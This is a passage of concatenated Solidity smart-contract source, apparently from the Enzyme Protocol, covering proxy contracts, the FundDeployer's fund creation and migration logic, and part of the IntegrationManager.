DISPATCHER = _dispatcher;
}
/// @notice Deploys a shares requestor proxy instance for a given ComptrollerProxy instance
/// @param _comptrollerProxy The ComptrollerProxy for which to deploy the shares requestor proxy
/// @return sharesRequestorProxy_ The address of the newly-deployed shares requestor proxy
function deploySharesRequestorProxy(address _comptrollerProxy)
external
returns (address sharesRequestorProxy_)
{
// Confirm fund is genuine
VaultLib vaultProxyContract = VaultLib(ComptrollerLib(_comptrollerProxy).getVaultProxy());
require(
vaultProxyContract.getAccessor() == _comptrollerProxy,
"deploySharesRequestorProxy: Invalid VaultProxy for ComptrollerProxy"
);
require(
IDispatcher(DISPATCHER).getFundDeployerForVaultProxy(address(vaultProxyContract)) !=
address(0),
"deploySharesRequestorProxy: Not a genuine fund"
);
// Validate that the caller is the fund owner
require(
msg.sender == vaultProxyContract.getOwner(),
"deploySharesRequestorProxy: Only fund owner callable"
);
// Validate that a proxy does not already exist
require(
comptrollerProxyToSharesRequestorProxy[_comptrollerProxy] == address(0),
"deploySharesRequestorProxy: Proxy already exists"
);
// Deploy the proxy
bytes memory constructData = abi.encodeWithSelector(
IAuthUserExecutedSharesRequestor.init.selector,
_comptrollerProxy
);
sharesRequestorProxy_ = address(
new AuthUserExecutedSharesRequestorProxy(
constructData,
AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB
)
);
comptrollerProxyToSharesRequestorProxy[_comptrollerProxy] = sharesRequestorProxy_;
emit SharesRequestorProxyDeployed(_comptrollerProxy, sharesRequestorProxy_);
return sharesRequestorProxy_;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the value of the `AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB` variable
/// @return authUserExecutedSharesRequestorLib_ The `AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB` variable value
function getAuthUserExecutedSharesRequestorLib()
external
view
returns (address authUserExecutedSharesRequestorLib_)
{
return AUTH_USER_EXECUTED_SHARES_REQUESTOR_LIB;
}
/// @notice Gets the value of the `DISPATCHER` variable
/// @return dispatcher_ The `DISPATCHER` variable value
function getDispatcher() external view returns (address dispatcher_) {
return DISPATCHER;
}
/// @notice Gets the AuthUserExecutedSharesRequestorProxy associated with the given ComptrollerProxy
/// @param _comptrollerProxy The ComptrollerProxy for which to get the associated AuthUserExecutedSharesRequestorProxy
/// @return sharesRequestorProxy_ The associated AuthUserExecutedSharesRequestorProxy address
function getSharesRequestorProxyForComptrollerProxy(address _comptrollerProxy)
external
view
returns (address sharesRequestorProxy_)
{
return comptrollerProxyToSharesRequestorProxy[_comptrollerProxy];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/Proxy.sol";
contract AuthUserExecutedSharesRequestorProxy is Proxy {
constructor(bytes memory _constructData, address _authUserExecutedSharesRequestorLib)
public
Proxy(_constructData, _authUserExecutedSharesRequestorLib)
{}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title Proxy Contract
/// @author Enzyme Council <[email protected]>
/// @notice A proxy contract for all Proxy instances
/// @dev The recommended implementation of a Proxy in EIP-1822, updated for solc 0.6.12,
/// and using the EIP-1967 storage slot for the proxiable implementation.
/// i.e., `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)`, which is
/// "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"
/// See: https://eips.ethereum.org/EIPS/eip-1822
contract Proxy {
constructor(bytes memory _constructData, address _contractLogic) public {
assembly {
sstore(
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc,
_contractLogic
)
}
(bool success, bytes memory returnData) = _contractLogic.delegatecall(_constructData);
require(success, string(returnData));
}
fallback() external payable {
assembly {
let contractLogic := sload(
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
)
calldatacopy(0x0, 0x0, calldatasize())
let success := delegatecall(
sub(gas(), 10000),
contractLogic,
0x0,
calldatasize(),
0,
0
)
let retSz := returndatasize()
returndatacopy(0, 0, retSz)
switch success
case 0 {
revert(0, retSz)
}
default {
return(0, retSz)
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../utils/Proxy.sol";
/// @title ComptrollerProxy Contract
/// @author Enzyme Council <[email protected]>
/// @notice A proxy contract for all ComptrollerProxy instances
contract ComptrollerProxy is Proxy {
constructor(bytes memory _constructData, address _comptrollerLib)
public
Proxy(_constructData, _comptrollerLib)
{}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../../../persistent/dispatcher/IDispatcher.sol";
import "../../../persistent/utils/IMigrationHookHandler.sol";
import "../fund/comptroller/IComptroller.sol";
import "../fund/comptroller/ComptrollerProxy.sol";
import "../fund/vault/IVault.sol";
import "./IFundDeployer.sol";
/// @title FundDeployer Contract
/// @author Enzyme Council <[email protected]>
/// @notice The top-level contract of the release.
/// It primarily coordinates fund deployment and fund migration, but
/// it is also deferred to for contract access control and for allowed calls
/// that can be made with a fund's VaultProxy as the msg.sender.
contract FundDeployer is IFundDeployer, IMigrationHookHandler {
event ComptrollerLibSet(address comptrollerLib);
event ComptrollerProxyDeployed(
address indexed creator,
address comptrollerProxy,
address indexed denominationAsset,
uint256 sharesActionTimelock,
bytes feeManagerConfigData,
bytes policyManagerConfigData,
bool indexed forMigration
);
event NewFundCreated(
address indexed creator,
address comptrollerProxy,
address vaultProxy,
address indexed fundOwner,
string fundName,
address indexed denominationAsset,
uint256 sharesActionTimelock,
bytes feeManagerConfigData,
bytes policyManagerConfigData
);
event ReleaseStatusSet(ReleaseStatus indexed prevStatus, ReleaseStatus indexed nextStatus);
event VaultCallDeregistered(address indexed contractAddress, bytes4 selector);
event VaultCallRegistered(address indexed contractAddress, bytes4 selector);
// Constants
address private immutable CREATOR;
address private immutable DISPATCHER;
address private immutable VAULT_LIB;
// Pseudo-constants (can only be set once)
address private comptrollerLib;
// Storage
ReleaseStatus private releaseStatus;
mapping(address => mapping(bytes4 => bool)) private contractToSelectorToIsRegisteredVaultCall;
mapping(address => address) private pendingComptrollerProxyToCreator;
modifier onlyLiveRelease() {
require(releaseStatus == ReleaseStatus.Live, "Release is not Live");
_;
}
modifier onlyMigrator(address _vaultProxy) {
require(
IVault(_vaultProxy).canMigrate(msg.sender),
"Only a permissioned migrator can call this function"
);
_;
}
modifier onlyOwner() {
require(msg.sender == getOwner(), "Only the contract owner can call this function");
_;
}
modifier onlyPendingComptrollerProxyCreator(address _comptrollerProxy) {
require(
msg.sender == pendingComptrollerProxyToCreator[_comptrollerProxy],
"Only the ComptrollerProxy creator can call this function"
);
_;
}
constructor(
address _dispatcher,
address _vaultLib,
address[] memory _vaultCallContracts,
bytes4[] memory _vaultCallSelectors
) public {
if (_vaultCallContracts.length > 0) {
__registerVaultCalls(_vaultCallContracts, _vaultCallSelectors);
}
CREATOR = msg.sender;
DISPATCHER = _dispatcher;
VAULT_LIB = _vaultLib;
}
/////////////
// GENERAL //
/////////////
/// @notice Sets the comptrollerLib
/// @param _comptrollerLib The ComptrollerLib contract address
/// @dev Can only be set once
function setComptrollerLib(address _comptrollerLib) external onlyOwner {
require(
comptrollerLib == address(0),
"setComptrollerLib: This value can only be set once"
);
comptrollerLib = _comptrollerLib;
emit ComptrollerLibSet(_comptrollerLib);
}
/// @notice Sets the status of the protocol to a new state
/// @param _nextStatus The next status state to set
function setReleaseStatus(ReleaseStatus _nextStatus) external {
require(
msg.sender == IDispatcher(DISPATCHER).getOwner(),
"setReleaseStatus: Only the Dispatcher owner can call this function"
);
require(
_nextStatus != ReleaseStatus.PreLaunch,
"setReleaseStatus: Cannot return to PreLaunch status"
);
require(
comptrollerLib != address(0),
"setReleaseStatus: Can only set the release status when comptrollerLib is set"
);
ReleaseStatus prevStatus = releaseStatus;
require(_nextStatus != prevStatus, "setReleaseStatus: _nextStatus is the current status");
releaseStatus = _nextStatus;
emit ReleaseStatusSet(prevStatus, _nextStatus);
}
/// @notice Gets the current owner of the contract
/// @return owner_ The contract owner address
/// @dev Dynamically gets the owner based on the Protocol status. The owner is initially the
/// contract's deployer, for convenience in setting up configuration.
/// Ownership is claimed when the owner of the Dispatcher contract (the Enzyme Council)
/// sets the releaseStatus to `Live`.
function getOwner() public view override returns (address owner_) {
if (releaseStatus == ReleaseStatus.PreLaunch) {
return CREATOR;
}
return IDispatcher(DISPATCHER).getOwner();
}
///////////////////
// FUND CREATION //
///////////////////
/// @notice Creates a fully-configured ComptrollerProxy, to which a fund from a previous
/// release can migrate in a subsequent step
/// @param _denominationAsset The contract address of the denomination asset for the fund
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @param _feeManagerConfigData Bytes data for the fees to be enabled for the fund
/// @param _policyManagerConfigData Bytes data for the policies to be enabled for the fund
/// @return comptrollerProxy_ The address of the ComptrollerProxy deployed during this action
function createMigratedFundConfig(
address _denominationAsset,
uint256 _sharesActionTimelock,
bytes calldata _feeManagerConfigData,
bytes calldata _policyManagerConfigData
) external onlyLiveRelease returns (address comptrollerProxy_) {
comptrollerProxy_ = __deployComptrollerProxy(
_denominationAsset,
_sharesActionTimelock,
_feeManagerConfigData,
_policyManagerConfigData,
true
);
pendingComptrollerProxyToCreator[comptrollerProxy_] = msg.sender;
return comptrollerProxy_;
}
/// @notice Creates a new fund
/// @param _fundOwner The address of the owner for the fund
/// @param _fundName The name of the fund
/// @param _denominationAsset The contract address of the denomination asset for the fund
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @param _feeManagerConfigData Bytes data for the fees to be enabled for the fund
/// @param _policyManagerConfigData Bytes data for the policies to be enabled for the fund
/// @return comptrollerProxy_ The address of the ComptrollerProxy deployed during this action
function createNewFund(
address _fundOwner,
string calldata _fundName,
address _denominationAsset,
uint256 _sharesActionTimelock,
bytes calldata _feeManagerConfigData,
bytes calldata _policyManagerConfigData
) external onlyLiveRelease returns (address comptrollerProxy_, address vaultProxy_) {
return
__createNewFund(
_fundOwner,
_fundName,
_denominationAsset,
_sharesActionTimelock,
_feeManagerConfigData,
_policyManagerConfigData
);
}
/// @dev Helper to avoid the stack-too-deep error during createNewFund
function __createNewFund(
address _fundOwner,
string memory _fundName,
address _denominationAsset,
uint256 _sharesActionTimelock,
bytes memory _feeManagerConfigData,
bytes memory _policyManagerConfigData
) private returns (address comptrollerProxy_, address vaultProxy_) {
require(_fundOwner != address(0), "__createNewFund: _owner cannot be empty");
comptrollerProxy_ = __deployComptrollerProxy(
_denominationAsset,
_sharesActionTimelock,
_feeManagerConfigData,
_policyManagerConfigData,
false
);
vaultProxy_ = IDispatcher(DISPATCHER).deployVaultProxy(
VAULT_LIB,
_fundOwner,
comptrollerProxy_,
_fundName
);
IComptroller(comptrollerProxy_).activate(vaultProxy_, false);
emit NewFundCreated(
msg.sender,
comptrollerProxy_,
vaultProxy_,
_fundOwner,
_fundName,
_denominationAsset,
_sharesActionTimelock,
_feeManagerConfigData,
_policyManagerConfigData
);
return (comptrollerProxy_, vaultProxy_);
}
/// @dev Helper function to deploy a configured ComptrollerProxy
function __deployComptrollerProxy(
address _denominationAsset,
uint256 _sharesActionTimelock,
bytes memory _feeManagerConfigData,
bytes memory _policyManagerConfigData,
bool _forMigration
) private returns (address comptrollerProxy_) {
require(
_denominationAsset != address(0),
"__deployComptrollerProxy: _denominationAsset cannot be empty"
);
bytes memory constructData = abi.encodeWithSelector(
IComptroller.init.selector,
_denominationAsset,
_sharesActionTimelock
);
comptrollerProxy_ = address(new ComptrollerProxy(constructData, comptrollerLib));
if (_feeManagerConfigData.length > 0 || _policyManagerConfigData.length > 0) {
IComptroller(comptrollerProxy_).configureExtensions(
_feeManagerConfigData,
_policyManagerConfigData
);
}
emit ComptrollerProxyDeployed(
msg.sender,
comptrollerProxy_,
_denominationAsset,
_sharesActionTimelock,
_feeManagerConfigData,
_policyManagerConfigData,
_forMigration
);
return comptrollerProxy_;
}
//////////////////
// MIGRATION IN //
//////////////////
/// @notice Cancels fund migration
/// @param _vaultProxy The VaultProxy for which to cancel migration
function cancelMigration(address _vaultProxy) external {
__cancelMigration(_vaultProxy, false);
}
/// @notice Cancels fund migration, bypassing any failures.
/// Should be used in an emergency only.
/// @param _vaultProxy The VaultProxy for which to cancel migration
function cancelMigrationEmergency(address _vaultProxy) external {
__cancelMigration(_vaultProxy, true);
}
/// @notice Executes fund migration
/// @param _vaultProxy The VaultProxy for which to execute the migration
function executeMigration(address _vaultProxy) external {
__executeMigration(_vaultProxy, false);
}
/// @notice Executes fund migration, bypassing any failures.
/// Should be used in an emergency only.
/// @param _vaultProxy The VaultProxy for which to execute the migration
function executeMigrationEmergency(address _vaultProxy) external {
__executeMigration(_vaultProxy, true);
}
/// @dev Unimplemented
function invokeMigrationInCancelHook(
address,
address,
address,
address
) external virtual override {
return;
}
/// @notice Signal a fund migration
/// @param _vaultProxy The VaultProxy for which to signal the migration
/// @param _comptrollerProxy The ComptrollerProxy for which to signal the migration
function signalMigration(address _vaultProxy, address _comptrollerProxy) external {
__signalMigration(_vaultProxy, _comptrollerProxy, false);
}
/// @notice Signal a fund migration, bypassing any failures.
/// Should be used in an emergency only.
/// @param _vaultProxy The VaultProxy for which to signal the migration
/// @param _comptrollerProxy The ComptrollerProxy for which to signal the migration
function signalMigrationEmergency(address _vaultProxy, address _comptrollerProxy) external {
__signalMigration(_vaultProxy, _comptrollerProxy, true);
}
/// @dev Helper to cancel a migration
function __cancelMigration(address _vaultProxy, bool _bypassFailure)
private
onlyLiveRelease
onlyMigrator(_vaultProxy)
{
IDispatcher(DISPATCHER).cancelMigration(_vaultProxy, _bypassFailure);
}
/// @dev Helper to execute a migration
function __executeMigration(address _vaultProxy, bool _bypassFailure)
private
onlyLiveRelease
onlyMigrator(_vaultProxy)
{
IDispatcher dispatcherContract = IDispatcher(DISPATCHER);
(, address comptrollerProxy, , ) = dispatcherContract
.getMigrationRequestDetailsForVaultProxy(_vaultProxy);
dispatcherContract.executeMigration(_vaultProxy, _bypassFailure);
IComptroller(comptrollerProxy).activate(_vaultProxy, true);
delete pendingComptrollerProxyToCreator[comptrollerProxy];
}
/// @dev Helper to signal a migration
function __signalMigration(
address _vaultProxy,
address _comptrollerProxy,
bool _bypassFailure
)
private
onlyLiveRelease
onlyPendingComptrollerProxyCreator(_comptrollerProxy)
onlyMigrator(_vaultProxy)
{
IDispatcher(DISPATCHER).signalMigration(
_vaultProxy,
_comptrollerProxy,
VAULT_LIB,
_bypassFailure
);
}
///////////////////
// MIGRATION OUT //
///////////////////
/// @notice Allows "hooking into" specific moments in the migration pipeline
/// to execute arbitrary logic during a migration out of this release
/// @param _vaultProxy The VaultProxy being migrated
function invokeMigrationOutHook(
MigrationOutHook _hook,
address _vaultProxy,
address,
address,
address
) external override {
if (_hook != MigrationOutHook.PreMigrate) {
return;
}
require(
msg.sender == DISPATCHER,
"postMigrateOriginHook: Only Dispatcher can call this function"
);
// Must use PreMigrate hook to get the ComptrollerProxy from the VaultProxy
address comptrollerProxy = IVault(_vaultProxy).getAccessor();
// Wind down fund and destroy its config
IComptroller(comptrollerProxy).destruct();
}
//////////////
// REGISTRY //
//////////////
/// @notice De-registers allowed arbitrary contract calls that can be sent from the VaultProxy
/// @param _contracts The contracts of the calls to de-register
/// @param _selectors The selectors of the calls to de-register
function deregisterVaultCalls(address[] calldata _contracts, bytes4[] calldata _selectors)
external
onlyOwner
{
require(_contracts.length > 0, "deregisterVaultCalls: Empty _contracts");
require(
_contracts.length == _selectors.length,
"deregisterVaultCalls: Uneven input arrays"
);
for (uint256 i; i < _contracts.length; i++) {
require(
isRegisteredVaultCall(_contracts[i], _selectors[i]),
"deregisterVaultCalls: Call not registered"
);
contractToSelectorToIsRegisteredVaultCall[_contracts[i]][_selectors[i]] = false;
emit VaultCallDeregistered(_contracts[i], _selectors[i]);
}
}
/// @notice Registers allowed arbitrary contract calls that can be sent from the VaultProxy
/// @param _contracts The contracts of the calls to register
/// @param _selectors The selectors of the calls to register
function registerVaultCalls(address[] calldata _contracts, bytes4[] calldata _selectors)
external
onlyOwner
{
require(_contracts.length > 0, "registerVaultCalls: Empty _contracts");
__registerVaultCalls(_contracts, _selectors);
}
/// @dev Helper to register allowed vault calls
function __registerVaultCalls(address[] memory _contracts, bytes4[] memory _selectors)
private
{
require(
_contracts.length == _selectors.length,
"__registerVaultCalls: Uneven input arrays"
);
for (uint256 i; i < _contracts.length; i++) {
require(
!isRegisteredVaultCall(_contracts[i], _selectors[i]),
"__registerVaultCalls: Call already registered"
);
contractToSelectorToIsRegisteredVaultCall[_contracts[i]][_selectors[i]] = true;
emit VaultCallRegistered(_contracts[i], _selectors[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `comptrollerLib` variable value
/// @return comptrollerLib_ The `comptrollerLib` variable value
function getComptrollerLib() external view returns (address comptrollerLib_) {
return comptrollerLib;
}
/// @notice Gets the `CREATOR` variable value
/// @return creator_ The `CREATOR` variable value
function getCreator() external view returns (address creator_) {
return CREATOR;
}
/// @notice Gets the `DISPATCHER` variable value
/// @return dispatcher_ The `DISPATCHER` variable value
function getDispatcher() external view returns (address dispatcher_) {
return DISPATCHER;
}
/// @notice Gets the creator of a pending ComptrollerProxy
/// @return pendingComptrollerProxyCreator_ The pending ComptrollerProxy creator
function getPendingComptrollerProxyCreator(address _comptrollerProxy)
external
view
returns (address pendingComptrollerProxyCreator_)
{
return pendingComptrollerProxyToCreator[_comptrollerProxy];
}
/// @notice Gets the `releaseStatus` variable value
/// @return status_ The `releaseStatus` variable value
function getReleaseStatus() external view override returns (ReleaseStatus status_) {
return releaseStatus;
}
/// @notice Gets the `VAULT_LIB` variable value
/// @return vaultLib_ The `VAULT_LIB` variable value
function getVaultLib() external view returns (address vaultLib_) {
return VAULT_LIB;
}
/// @notice Checks if a contract call is registered
/// @param _contract The contract of the call to check
/// @param _selector The selector of the call to check
/// @return isRegistered_ True if the call is registered
function isRegisteredVaultCall(address _contract, bytes4 _selector)
public
view
override
returns (bool isRegistered_)
{
return contractToSelectorToIsRegisteredVaultCall[_contract][_selector];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IMigrationHookHandler Interface
/// @author Enzyme Council <[email protected]>
interface IMigrationHookHandler {
enum MigrationOutHook {PreSignal, PostSignal, PreMigrate, PostMigrate, PostCancel}
function invokeMigrationInCancelHook(
address _vaultProxy,
address _prevFundDeployer,
address _nextVaultAccessor,
address _nextVaultLib
) external;
function invokeMigrationOutHook(
MigrationOutHook _hook,
address _vaultProxy,
address _nextFundDeployer,
address _nextVaultAccessor,
address _nextVaultLib
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "../../core/fund/vault/IVault.sol";
import "../../infrastructure/price-feeds/derivatives/IDerivativePriceFeed.sol";
import "../../infrastructure/price-feeds/primitives/IPrimitivePriceFeed.sol";
import "../../utils/AddressArrayLib.sol";
import "../../utils/AssetFinalityResolver.sol";
import "../policy-manager/IPolicyManager.sol";
import "../utils/ExtensionBase.sol";
import "../utils/FundDeployerOwnerMixin.sol";
import "../utils/PermissionedVaultActionMixin.sol";
import "./integrations/IIntegrationAdapter.sol";
import "./IIntegrationManager.sol";
/// @title IntegrationManager
/// @author Enzyme Council <[email protected]>
/// @notice Extension to handle DeFi integration actions for funds
contract IntegrationManager is
IIntegrationManager,
ExtensionBase,
FundDeployerOwnerMixin,
PermissionedVaultActionMixin,
AssetFinalityResolver
{
using AddressArrayLib for address[];
using EnumerableSet for EnumerableSet.AddressSet;
using SafeMath for uint256;
event AdapterDeregistered(address indexed adapter, string indexed identifier);
event AdapterRegistered(address indexed adapter, string indexed identifier);
event AuthUserAddedForFund(address indexed comptrollerProxy, address indexed account);
event AuthUserRemovedForFund(address indexed comptrollerProxy, address indexed account);
event CallOnIntegrationExecutedForFund(
address indexed comptrollerProxy,
address vaultProxy,
address caller,
address indexed adapter,
bytes4 indexed selector,
bytes integrationData,
address[] incomingAssets,
uint256[] incomingAssetAmounts,
address[] outgoingAssets,
uint256[] outgoingAssetAmounts
);
address private immutable DERIVATIVE_PRICE_FEED;
address private immutable POLICY_MANAGER;
address private immutable PRIMITIVE_PRICE_FEED;
EnumerableSet.AddressSet private registeredAdapters;
mapping(address => mapping(address => bool)) private comptrollerProxyToAcctToIsAuthUser;
constructor(
address _fundDeployer,
address _policyManager,
address _derivativePriceFeed,
address _primitivePriceFeed,
address _synthetixPriceFeed,
address _synthetixAddressResolver
)
public
FundDeployerOwnerMixin(_fundDeployer)
AssetFinalityResolver(_synthetixPriceFeed, _synthetixAddressResolver)
{
DERIVATIVE_PRICE_FEED = _derivativePriceFeed;
POLICY_MANAGER = _policyManager;
PRIMITIVE_PRICE_FEED = _primitivePriceFeed;
}
/////////////
// GENERAL //
/////////////
/// @notice Activates the extension by storing the VaultProxy
function activateForFund(bool) external override {
__setValidatedVaultProxy(msg.sender);
}
/// @notice Authorizes a user to act on behalf of a fund via the IntegrationManager
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _who The user to authorize
function addAuthUserForFund(address _comptrollerProxy, address _who) external {
__validateSetAuthUser(_comptrollerProxy, _who, true);
comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who] = true;
emit AuthUserAddedForFund(_comptrollerProxy, _who);
}
/// @notice Deactivate the extension by destroying storage
function deactivateForFund() external override {
delete comptrollerProxyToVaultProxy[msg.sender];
}
/// @notice Removes an authorized user from the IntegrationManager for the given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _who The authorized user to remove
function removeAuthUserForFund(address _comptrollerProxy, address _who) external {
__validateSetAuthUser(_comptrollerProxy, _who, false);
comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who] = false;
emit AuthUserRemovedForFund(_comptrollerProxy, _who);
}
/// @notice Checks whether an account is an authorized IntegrationManager user for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _who The account to check
/// @return isAuthUser_ True if the account is an authorized user or the fund owner
function isAuthUserForFund(address _comptrollerProxy, address _who)
public
view
returns (bool isAuthUser_)
{
return
comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who] ||
_who == IVault(comptrollerProxyToVaultProxy[_comptrollerProxy]).getOwner();
}
/// @dev Helper to validate calls to update comptrollerProxyToAcctToIsAuthUser
function __validateSetAuthUser(
address _comptrollerProxy,
address _who,
bool _nextIsAuthUser
) private view {
require(
comptrollerProxyToVaultProxy[_comptrollerProxy] != address(0),
"__validateSetAuthUser: Fund has not been activated"
);
address fundOwner = IVault(comptrollerProxyToVaultProxy[_comptrollerProxy]).getOwner();
require(
msg.sender == fundOwner,
"__validateSetAuthUser: Only the fund owner can call this function"
);
require(_who != fundOwner, "__validateSetAuthUser: Cannot set for the fund owner");
if (_nextIsAuthUser) {
require(
!comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who],
"__validateSetAuthUser: Account is already an authorized user"
);
} else {
require(
comptrollerProxyToAcctToIsAuthUser[_comptrollerProxy][_who],
"__validateSetAuthUser: Account is not an authorized user"
);
}
}
///////////////////////////////
// CALL-ON-EXTENSION ACTIONS //
///////////////////////////////
/// @notice Receives a dispatched `callOnExtension` from a fund's ComptrollerProxy
/// @param _caller The user who called for this action
/// @param _actionId An ID representing the desired action
/// @param _callArgs The encoded args for the action
function receiveCallFromComptroller(
address _caller,
uint256 _actionId,
bytes calldata _callArgs
) external override {
// Since we validate and store the ComptrollerProxy-VaultProxy pairing during
// activateForFund(), this function does not require further validation of the
// sending ComptrollerProxy
address vaultProxy = comptrollerProxyToVaultProxy[msg.sender];
require(vaultProxy != address(0), "receiveCallFromComptroller: Fund is not active");
require(
isAuthUserForFund(msg.sender, _caller),
"receiveCallFromComptroller: Not an authorized user"
);
// Dispatch the action
if (_actionId == 0) {
__callOnIntegration(_caller, vaultProxy, _callArgs);
} else if (_actionId == 1) {
__addZeroBalanceTrackedAssets(vaultProxy, _callArgs);
} else if (_actionId == 2) {
__removeZeroBalanceTrackedAssets(vaultProxy, _callArgs);
} else {
revert("receiveCallFromComptroller: Invalid _actionId");
}
}
/// @dev Adds assets with a zero balance as tracked assets of the fund
function __addZeroBalanceTrackedAssets(address _vaultProxy, bytes memory _callArgs) private {
address[] memory assets = abi.decode(_callArgs, (address[]));
for (uint256 i; i < assets.length; i++) {
require(
__finalizeIfSynthAndGetAssetBalance(_vaultProxy, assets[i], true) == 0,
"__addZeroBalanceTrackedAssets: Balance is not zero"
);
__addTrackedAsset(msg.sender, assets[i]);
}
}
/// @dev Removes assets with a zero balance from tracked assets of the fund
function __removeZeroBalanceTrackedAssets(address _vaultProxy, bytes memory _callArgs)
private
{
address[] memory assets = abi.decode(_callArgs, (address[]));
address denominationAsset = IComptroller(msg.sender).getDenominationAsset();
for (uint256 i; i < assets.length; i++) {
require(
assets[i] != denominationAsset,
"__removeZeroBalanceTrackedAssets: Cannot remove denomination asset"
);
require(
__finalizeIfSynthAndGetAssetBalance(_vaultProxy, assets[i], true) == 0,
"__removeZeroBalanceTrackedAssets: Balance is not zero"
);
__removeTrackedAsset(msg.sender, assets[i]);
}
}
/////////////////////////
// CALL ON INTEGRATION //
/////////////////////////
/// @notice Universal method for calling third party contract functions through adapters
/// @param _caller The caller of this function via the ComptrollerProxy
/// @param _vaultProxy The VaultProxy of the fund
/// @param _callArgs The encoded args for this function
/// - _adapter Adapter of the integration on which to execute a call
/// - _selector Method selector of the adapter method to execute
/// - _integrationData Encoded arguments specific to the adapter
/// @dev msg.sender is the ComptrollerProxy.
/// Refer to specific adapter to see how to encode its arguments.
function __callOnIntegration(
address _caller,
address _vaultProxy,
bytes memory _callArgs
) private {
(
address adapter,
bytes4 selector,
bytes memory integrationData
) = __decodeCallOnIntegrationArgs(_callArgs);
__preCoIHook(adapter, selector);
/// Passing decoded _callArgs leads to stack-too-deep error
(
address[] memory incomingAssets,
uint256[] memory incomingAssetAmounts,
address[] memory outgoingAssets,
uint256[] memory outgoingAssetAmounts
) = __callOnIntegrationInner(_vaultProxy, _callArgs);
__postCoIHook(
adapter,
selector,
incomingAssets,
incomingAssetAmounts,
outgoingAssets,
outgoingAssetAmounts
);
__emitCoIEvent(
_vaultProxy,
_caller,
adapter,
selector,
integrationData,
incomingAssets,
incomingAssetAmounts,
outgoingAssets,
outgoingAssetAmounts
);
}
/// @dev Helper to execute the bulk of logic of callOnIntegration.
/// Avoids the stack-too-deep-error.
function __callOnIntegrationInner(address vaultProxy, bytes memory _callArgs)
private
returns (
address[] memory incomingAssets_,
uint256[] memory incomingAssetAmounts_,
address[] memory outgoingAssets_,
uint256[] memory outgoingAssetAmounts_
)
{
(
address[] memory expectedIncomingAssets,
uint256[] memory preCallIncomingAssetBalances,
uint256[] memory minIncomingAssetAmounts,
SpendAssetsHandleType spendAssetsHandleType,
address[] memory spendAssets,
uint256[] memory maxSpendAssetAmounts,
uint256[] memory preCallSpendAssetBalances
) = __preProcessCoI(vaultProxy, _callArgs);
__executeCoI(
vaultProxy,
_callArgs,
abi.encode(
spendAssetsHandleType,
spendAssets,
maxSpendAssetAmounts,
expectedIncomingAssets
)
);
(
incomingAssets_,
incomingAssetAmounts_,
outgoingAssets_,
outgoingAssetAmounts_
) = __postProcessCoI(
vaultProxy,
expectedIncomingAssets,
preCallIncomingAssetBalances,
minIncomingAssetAmounts,
spendAssetsHandleType,
spendAssets,
maxSpendAssetAmounts,
preCallSpendAssetBalances
);
return (incomingAssets_, incomingAssetAmounts_, outgoingAssets_, outgoingAssetAmounts_);
}
/// @dev Helper to decode CoI args
function __decodeCallOnIntegrationArgs(bytes memory _callArgs)
private
pure
returns (
address adapter_,
bytes4 selector_,
bytes memory integrationData_
)
{
return abi.decode(_callArgs, (address, bytes4, bytes));
}
/// @dev Helper to emit the CallOnIntegrationExecuted event.
/// Avoids stack-too-deep error.
function __emitCoIEvent(
address _vaultProxy,
address _caller,
address _adapter,
bytes4 _selector,
bytes memory _integrationData,
address[] memory _incomingAssets,
uint256[] memory _incomingAssetAmounts,
address[] memory _outgoingAssets,
uint256[] memory _outgoingAssetAmounts
) private {
emit CallOnIntegrationExecutedForFund(
msg.sender,
_vaultProxy,
_caller,
_adapter,
_selector,
_integrationData,
_incomingAssets,
_incomingAssetAmounts,
_outgoingAssets,
_outgoingAssetAmounts
);
}
/// @dev Helper to execute a call to an integration
/// @dev Avoids stack-too-deep error
function __executeCoI(
address _vaultProxy,
bytes memory _callArgs,
bytes memory _encodedAssetTransferArgs
) private {
(
address adapter,
bytes4 selector,
bytes memory integrationData
) = __decodeCallOnIntegrationArgs(_callArgs);
